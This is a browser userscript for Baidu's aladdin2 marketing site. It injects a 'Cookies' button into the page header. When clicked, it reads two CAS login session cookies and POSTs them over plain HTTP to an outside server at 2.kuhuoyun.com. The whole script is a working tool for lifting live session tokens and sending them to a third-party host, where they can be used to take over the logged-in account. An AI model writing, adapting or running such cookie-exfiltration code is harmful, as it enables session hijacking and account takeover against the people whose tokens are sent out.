// ==UserScript==
// @name 百度营销 Cookie
// @namespace chuanbei32
// @version 0.0.4
// @description  测试
// @author chuanbei32
// @iconURL
// @updateURL https://gitee.com/chuanbei32/bd/raw/master/cookie.js
// @match *://aladdin2.baidu.com/*
// @grant GM_xmlhttpRequest
// @grant unsafeWindow
// @require https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js
// @require https://cdn.bootcdn.net/ajax/libs/axios/0.21.0/axios.min.js
// ==/UserScript==



(function() {
    'use strict';

    unsafeWindow.getCookie = (name) => {
        const value = `; ${document.cookie}`;
        const parts = value.split(`; ${name}=`);
        if (parts.length === 2) return parts.pop().split(';').shift();
    }

    unsafeWindow.dumps = function () {
        const postData = {
            '__cas__id__472': unsafeWindow.getCookie('__cas__id__472'),
            '__cas__st__472': unsafeWindow.getCookie('__cas__st__472'),
        };
        console.log(postData);
        const url = 'http://2.kuhuoyun.com/api/Cookie/setCookie';
        GM_xmlhttpRequest({
            method: "POST",
            url: url,
            headers:    {
                "Content-Type": "application/json"
            },
            data: JSON.stringify(postData),
            onload: function(response){
                console.log("请求成功");
                console.log(response.responseText);
                const res = JSON.parse(response.responseText);

                alert(res.msg)
            },
            onerror: function(response){
                console.log("请求失败");
            }
        })
    }

    var injquery = document.createElement('script');
    injquery.setAttribute("src","https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js");
    document.body.appendChild(injquery);

    var inaxios = document.createElement('script');
    inaxios.setAttribute("src","https://cdn.bootcdn.net/ajax/libs/axios/0.21.0/axios.min.js");
    document.body.appendChild(inaxios);

    window.addEventListener('load', function() {
        // 添加按钮
        var html =`<div class="history-tab" style="right: 260px; width: 60px;top: 32px;" onclick="window.dumps()">
<div class="history-button" style="width: 60px;" id="dump">Cookies</div>
</div>
`;
        document.querySelector('.header').insertAdjacentHTML('beforeend', html);
    }, true);
})();